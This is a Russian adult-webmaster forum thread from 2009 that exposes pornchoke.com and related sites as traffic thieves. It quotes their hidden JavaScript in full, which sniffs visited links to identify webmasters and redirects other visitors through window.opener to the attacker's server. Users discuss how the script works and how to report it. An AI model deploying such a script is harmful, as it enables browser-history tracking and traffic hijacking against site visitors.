Master-X
Регистрация
|
Вход
Форум
|
Новости
|
Статьи
Главная
»
Форум
»
Читеры и Разгильдяи
»
Тема:
Pornchoke.com & reporn.net & lieporn.com - читеры
Новая тема
Ответить
цитата
15/06/09 в 16:28
Perlover
http://pornchoke.com/
Этот сайт грузит скрипт the
http://pornchoke.com/
t/html.php?script=js script (виден только однажды для одного IP и с рефере полем
http://pornchoke.com/
)
Этот скрипт отслеживает АВМ айпишники и грузит какую то гадость, которая ворует траф через opener
Сайты lieporn.com & reporn.net также находится в подсетке /28 и имеют такой же лейаут + похожие другие JavaScript скрипты. Так что reporn.net & lieporn.com на 90% тоже читеры и крысы трафика
Сам скрипт такой:
Код:
document.write("<style type='text/css'>.u96{visibility:hidden;position:absolute;}.u96:link{visibility:hidden;position:absolute;left:0px}.u96:visited{visibility:hidden;left:10px}.u97{visibility:hidden;position:absolute;}.u97:link{visibility:hidden;position:absolute;left:0px;}.u97:visited{visibility:hidden;position:absolute;left:10px;}</style>");var url=new Array();
url[0]='http://adultwebmasterinfo.com/';
url[1]='http://www.adultwebmasterinfo.com/';
url[2]='http://adultwebmastermeeting.com/';
url[3]='http://www.adultwebmastermeeting.com/';
url[4]='http://apscripts.com/';
url[5]='http://www.apscripts.com/';
url[6]='http://armadaboard.com/';
url[7]='http://www.armadaboard.com/';
url[8]='http://arrowscripts.com/';
url[9]='http://www.arrowscripts.com/';
url[10]='http://askdamagex.com/';
url[11]='http://www.askdamagex.com/';
url[12]='http://cheaterhell.com/';
url[13]='http://www.cheaterhell.com/';
url[14]='http://chokertraffic.com/';
url[15]='http://www.chokertraffic.com/';
url[16]='http://cj-racer.com/';
url[17]='http://www.cj-racer.com/';
url[18]='http://cjlog.com/';
url[19]='http://www.cjlog.com/';
url[20]='http://clickzs.com/';
url[21]='http://www.clickzs.com/';
url[22]='http://comusthumbs.com/';
url[23]='http://www.comusthumbs.com/';
url[24]='http://cozyfrog.com/';
url[25]='http://www.cozyfrog.com/';
url[26]='http://crutop.nu/';
url[27]='http://www.crutop.nu/';
url[28]='http://crutop.nu/Vbulletin/';
url[29]='http://www.crutop.nu/Vbulletin/';
url[30]='http://dtrotator.com/';
url[31]='http://www.dtrotator.com/';
url[32]='http://fhgstore.com/';
url[33]='http://www.fhgstore.com/';
url[34]='http://gallerytrafficservice.com/';
url[35]='http://www.gallerytrafficservice.com/';
url[36]='http://gallerytrafficservice.com/client/';
url[37]='http://www.gallerytrafficservice.com/client/';
url[38]='http://gofuckbiz.com/';
url[39]='http://www.gofuckbiz.com/';
url[40]='http://greenguyandjim.com/';
url[41]='http://www.greenguyandjim.com/';
url[42]='http://gtsru.com/';
url[43]='http://www.gtsru.com/';
url[44]='http://jmbsoft.com/';
url[45]='http://www.jmbsoft.com/';
url[46]='http://justblowme.com/';
url[47]='http://www.justblowme.com/';
url[48]='http://klikforum.com/';
url[49]='http://www.klikforum.com/';
url[50]='http://krawl.com/';
url[51]='http://www.krawl.com/';
url[52]='http://linkex.dk/';
url[53]='http://www.linkex.dk/';
url[54]='http://mediumpimpin.com/';
url[55]='http://www.mediumpimpin.com/';
url[56]='http://netpond.com/';
url[57]='http://www.netpond.com/';
url[58]='http://pimpboard.com/';
url[59]='http://www.pimpboard.com/';
url[60]='http://pornstarkings.com/';
url[61]='http://www.pornstarkings.com/';
url[62]='http://protect-x.com/';
url[63]='http://www.protect-x.com/';
url[64]='http://proton-tm.com/';
url[65]='http://www.proton-tm.com/';
url[66]='http://protraffic.com/';
url[67]='http://www.protraffic.com/';
url[68]='http://rusadult.com/';
url[69]='http://www.rusadult.com/';
url[70]='http://rusawm.com/';
url[71]='http://www.rusawm.com/';
url[72]='http://smart-scripts.com/';
url[73]='http://www.smart-scripts.com/';
url[74]='http://streamscripts.com/';
url[75]='http://www.streamscripts.com/';
url[76]='http://submitpasses.com/';
url[77]='http://www.submitpasses.com/';
url[78]='http://tgpsoftware.com/';
url[79]='http://www.tgpsoftware.com/';
url[80]='http://tgpteam.com/';
url[81]='http://www.tgpteam.com/';
url[82]='http://trafficadept.com/';
url[83]='http://www.trafficadept.com/';
url[84]='http://trafficholder.com/';
url[85]='http://www.trafficholder.com/';
url[86]='http://trafficroup.com/';
url[87]='http://www.trafficroup.com/';
url[88]='http://trafficshop.com/';
url[89]='http://www.trafficshop.com/';
url[90]='http://umaxforum.com/';
url[91]='http://www.umaxforum.com/';
url[92]='http://xbiz.com/';
url[93]='http://www.xbiz.com/';
url[94]='http://xclicks.net/';
url[95]='http://www.xclicks.net/';
url[96]='http://ynot.com/';
url[97]='http://www.ynot.com/';
url[98]='http://viruslist.com/';
url[99]='http://www.viruslist.com/';
url[100]='http://malwaredomainlist.com/mdl.php';
url[101]='http://www.malwaredomainlist.com/mdl.php';
url[102]='http://x2more.com';
url[103]='http://www.x2more.com';
url[104]='http://x2more.com/checker';
url[105]='http://www.x2more.com/checker';
url[106]='http://cjwebmasters.com';
url[107]='http://www.cjwebmasters.com';
url[108]='http://deluxepass.com';
url[109]='http://www.deluxepass.com';
url[110]='http://epassporte.com';
url[111]='http://www.epassporte.com';
url[112]='http://statsremote.com';
url[113]='http://www.statsremote.com';
url[114]='http://submitter.krawl.com/submitters/submit.php';
url[115]='http://bbs.adultwebmasterinfo.com/';
url[116]='http://bbs.mediumpimpin.com/';
url[117]='http://forum.krawl.com/';
url[118]='http://boards.xbiz.com/';
var b11=0,t11='',g11=0;var b12=0,t12='',g12=0;var lin;for (var s=0;s<url.length;s++){document.write("<a href='"+url[s]+"' class='u96' id='l"+s+"'>"+url[s]+"</a>");lin=document.getElementById("l"+s);if(lin.offsetLeft>0){b11=url[s];t11=s;g11=1;break;}};if(g11==1){window.document.write("<scr"+"ipt src='http://pornchoke.com/t/html.php?addip="+b11+"&type="+t11+"'></scr"+"ipt>");}else if(g11==0){if(opener&&!opener.closed){window.opener.location.replace('http://pornchoke.com/op_r.php?url=http://www.chicks18to19.com/&url2=http://www.trafficholder.com/in/in.php?lovingstison');}opener=0;}else if(g11==0&&g12==0){}
цитата
16/06/09 в 02:39
basta
спасибо, нашел его у себя
почистил
цитата
16/06/09 в 12:11
SamsonS
блин, вчера вечером добавился, только комп собрался выключать, решил утром уже его посмотрю....а тут вот Perlover
обрадовал
цитата
16/06/09 в 13:50
rusawm
отпиши холдерам - пускай забанят его
цитата
16/06/09 в 14:32
Sven
а что делает скрипт с этими адресами? че-то не могу понять..
цитата
16/06/09 в 16:00
Perlover
тестит на visited статус линки авм ресурсов
если visited - значит броузер там был, значит это АВМ и фиксирует его айпи
А дальше - видимо собирает базу айпишников АВМов и им зловредный код не показывает больше никогда, а для других IP - показывает
Я эту тему обсуждал еще на awmelite.com. Сначала не знал, зачем надо IP АВМ-ов узнавать, приходили разные нехорошие мысли, но на awmelite пришли к выводу, что это новый способ впаривать всякую заразу, только более изощренный
цитата
16/06/09 в 16:49
goodlover
В списке мастер-икса нет. Читер буржуй видать.
цитата
16/06/09 в 22:55
awm_mark
fucking american cheaters
а они все на русских гонят
цитата
17/06/09 в 02:19
rusawm
goodlover писал:
В списке мастер-икса нет. Читер буржуй видать
мастер уже давно дрочерский форум
а умакс, крутоп, армада, rusawm.com - это то ты не заметил? кроме рашен читерс такой хуйней никто не занимается
цитата
23/06/09 в 16:46
L.Estel
На TrafficHolder абузу напишите и дайте сцылку на сайт со скриптом - прикроют... у них так отсылавть траф запрещено кажется
Новая тема
Ответить
Эта страница в полной версии